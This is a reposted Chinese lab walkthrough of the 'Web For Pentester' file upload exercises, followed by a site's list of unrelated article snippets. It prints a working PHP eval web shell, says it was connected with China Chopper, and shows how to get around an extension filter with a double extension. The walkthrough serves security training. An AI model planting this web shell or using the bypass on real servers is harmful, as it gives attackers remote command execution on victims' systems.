Web For Pentester -- File Upload

文件上傳漏洞是指用戶上傳了一個可執行的腳本文件,并通過此腳本文件獲得了執行服務器端命令的能力。

文件上傳導致的常見安全問題:

上傳文件是Web腳本語言,服務器的Web容器解釋并執行了用戶上傳的腳本,導致代碼執行;

上傳文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在該域下的行為(其他通過類似方式控制策略文件的情況類似);

上傳文件是病毒、木馬文件,黑客用以誘騙用戶或者管理員下載執行;

上傳文件是釣魚圖片或為包含了腳本的圖片,在某些版本的瀏覽器中會被作為腳本執行,被用于釣魚和欺詐;

完成這個攻擊需要的條件:

首先,上傳的文件要能被Web容器解釋執行,所以文件上傳后所在目錄要是Web容器所覆蓋到的路徑;

其次,用戶能夠從Web上訪問這個文件。如果文件上傳了,但用戶無法通過Web訪問,或無法通過Web容器解釋這個腳本,那么不能稱之為漏洞;

最后,用戶上傳的文件若被安全檢查、格式化、圖片壓縮等功能改變了內容,可能導致攻擊不成功;

?

Web For Pentester -- File Include

Example 1

上傳php文件<?php echo phpinfo();?>輸出關于 PHP 配置的信息

點擊here即可查看配置信息

找到上傳的文件路徑,上傳一句話木馬<?php @eval($_POST['chopper']);?>

打開中國菜刀,連接成功

?

Example 2

上傳文件

服務器的對文件的判斷

  1. 服務端MIME 類型檢測(檢測Content-Type 內容)
  2. 服務端目錄路徑檢測(檢測跟path 參數相關的內容)、
  3. 服務端文件擴展名檢測(檢測跟文件extension 相關的內容)
  4. 服務端文件內容檢測(檢測內容是否合法或含有惡意代碼)

BP抓包查看

不能上傳php文件,修改后綴,將一句話木馬改成hack.php.123(瀏覽器遇到不能識別的文件名后綴跳過)

上傳文件,連接木馬即可。

?

?

轉載于:https://www.cnblogs.com/wanao/p/10976787.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/386689.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/386689.shtml
英文地址,請注明出處:http://en.pswp.cn/news/386689.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

組件化與插件化的差別在哪里?附面試題答案

前言 本人水平有限&#xff0c;此文針對于自認為技術實力對標阿里P7&#xff0c;百度T5或者以下的讀者&#xff0c;如果是大佬不小心點進來了&#xff0c;可以自行點x略過。文內并不會出現每一家公司的面試過程細節&#xff0c;主要目的在于幫助大家怎么在像我一樣菜的情況下在…

json轉成類對象轉成xml全過程

類對象 XStreamAlias("ROOT") public class ProjectBase implements BaseConverterBean {private ProjectInfo PROJECTINFO;public ProjectInfo getPROJECTINFO() {return PROJECTINFO;}public void setPROJECTINFO(ProjectInfo pROJECTINFO) {PROJECTINFO pROJECT…

細數Android開發者的艱辛歷程,全網最新

前言 這篇文章主要是分享今年面試心得&#xff0c;現已就職于某大廠有三個月了&#xff0c;近期有很多公司均已啟動秋招&#xff0c;也祝大家面試順利&#xff0c;獲得理想的offer&#xff01; 之前找工作的那段時間感想頗多&#xff0c;總結一點面試經驗和人生思考分享給大家…

Mac安裝nginx配置過程

mac電腦系統重裝了&#xff0c;記錄一下安裝nginx的過程&#xff1a; 1、打開終端 2、安裝Command Line tools xcode-select --install 3、安裝brew命令 1 ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 4、安裝…

2.用Python套用Excel模板,一鍵完成原亮樣式

from xlutils.copy import copy import xlrd import xlwttem_excelxlrd.open_workbook(日統計.xls,formatting_infoTrue)tem_sheettem_excel.sheet_by_index(0)new_excelcopy(tem_excel) new_sheetnew_excel.get_sheet(0) new_sheet.write(2,1,12) new_sheet.write(3,1,18) new…

面試中Handler這些必備知識點你都知道嗎?面試真題解析

前言 前幾天去參加了一場面試。面試的題目大多很基礎&#xff0c;有一道關于埋點的問題&#xff0c;面試官問我如果不用第三方SDK進行埋點&#xff0c;自己埋點的話&#xff0c;如何減少埋點對業務代碼的入侵。 當時沒想太多&#xff0c;就說創建一個 BaseView 類&#xff0c…

kubernetes對象之deployment

系列目錄 簡述 Deployment為Pod和ReplicaSet提供了一個聲明式定義(declarative)方法&#xff0c;用來替代以前的ReplicationController來方便的管理應用。典型的應用場景包括&#xff1a; 定義Deployment來創建Pod和ReplicaSet滾動升級和回滾應用擴容和縮容暫停和繼續Deploymen…

面試加分項!Android權限處理,手慢無

2021新的一年&#xff0c;開啟新的征程&#xff0c;回顧2020&#xff0c;真是太“南”了。 從年初各大廠裁員&#xff0c;竟然成為一件理所應當的事情&#xff0c;到四月份 GitHub 上“996.ICU” 引起了大家的共鳴。即使我們兢兢業業“996”&#xff0c;但依舊難以抵御 35 歲時…

面試加分項!程序員工作2年月薪12K,附架構師必備技術詳解

最近看到群里看到一個女生&#xff0c;講述了她從開始選擇Android&#xff0c;經過非常努力的學習和掙扎&#xff0c;然而最后面對當前的環境卻不得不放棄。看完以后真的非常替她感覺惋惜&#xff0c;如果早幾年入行可能結果會比現在好很多&#xff0c;但可惜&#xff0c;這就是…

物理機實時監控UI之grafana(SimpleJson)+gRPC

在時序分析及監控展示領域&#xff0c;Grafana無疑是開源解決方案中的翹楚&#xff0c;其靈活的插件機制&#xff0c;支持各種漂亮的面板、豐富的數據源以及強大的應用。典型的面板有Graph、Text、Singlestat、PieChart、Table、Histogram等&#xff0c;支持的數據源有ES、Grap…

Uva679

Dropping Balls UVA - 679 思路&#xff1a;和之前做的開關燈的題類似 只需要看小球的編號奇偶。 找規律就行&#xff0c;一直想推導出這個規律滿足所有情況&#xff0c;但是沒有想出來怎么推。 1 #include<bits/stdc.h>2 #define maxn 1053 #define LL long long4 usi…

面試大廠應該注意哪些問題?算法太TM重要了

前言 很多次小伙伴問到學習方法&#xff0c;我也很想寫這樣的一篇文章來跟大家討論下關于學習方法這件事情。 其實學習方法這個事情&#xff0c;我沒啥發言權&#xff0c;因為我自己本身都是沒啥方法可言的&#xff0c;就瞎折騰那種&#xff0c;但是大家想看這樣的一篇文章&a…

Spring Boot 與 Java 對應版本,以下表格由官方網站總結。

Spring Boot 與 Java 對應版本&#xff0c;以下表格由官方網站總結。 官網&#xff1a;https://spring.io/projects/spring-boot#learn https://docs.spring.io/spring-boot/docs/{verion}/reference/htmlsingle/ Go to [9. System Requirements] Sping BootSpring Framew…

Java開發環境之RabbitMQ

查看更多Java開發環境配置&#xff0c;請點擊《Java開發環境配置大全》 捌章&#xff1a;RabbitMQ安裝教程 1&#xff09;下載安裝Erlang 官網下載&#xff1a;http://www.erlang.org&#xff0c;有時比較難訪問進去 Windows版下載&#xff1a;http://www.erlang.org/download/…

Linux下GitLab的安裝及使用

一、初始GitLab GitLab是利用Ruby on Rails一個開源的版本管理系統&#xff0c;實現一個自托管的Git項目倉庫&#xff0c;可通過Web界面進行訪問公開的或者私人項目。 與Github類似&#xff0c;GitLab能夠瀏覽源代碼&#xff0c;管理缺陷和注釋。可以管理團隊對倉庫的訪問&a…

面試大廠應該注意哪些問題?隔壁都饞哭了

前言 說起程序員人們的第一印象就是工資高、加班兇、話少錢多頭發少。再加上現在科技互聯網公司太吃香&#xff0c;bat、華為小米等公司程序員加班情況被廣泛傳播&#xff0c;程序員用生命在敲代碼的印象刻在了很多人的心里。 與其它行業一樣&#xff0c;凡是有高級和普通&…

元類(metaclass)

目錄 一、引言二、什么是元類三、為什么用元類四、內置函數exec(儲備)五、class創建類5.1 type實現六、自定義元類控制類的創建6.1 應用七、__call__(儲備)八、__new__(儲備)九、自定義元類控制類的實例化一十、自定義元類后類的繼承順序十一、練習一、引言 元類屬于python面向…

Linux環境下使用rpm包安裝GitLab

1.安裝依賴環境 [rootgitlab ~]# yum install curl openssh-server postfix cronie 2.下載安裝GitLab包 我安裝的環境是Red Hat Enterprise Linux Server release 7.4 (Maipo) GitLab下載地址:https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7 以上是清華大學開源…

面試字節跳動Android工程師該怎么準備?深度解析,值得收藏

前言 Android高級架構師需要學習哪些知識呢&#xff1f; 下面總結一下我認為作為一個資深開發者需要掌握的技能點。 1.Android開發的幾個階段 我的10年開發生涯中&#xff0c;有9年都是做Android相關開發&#xff0c;以我個人的經歷來看&#xff0c;Android開發市場分為以下…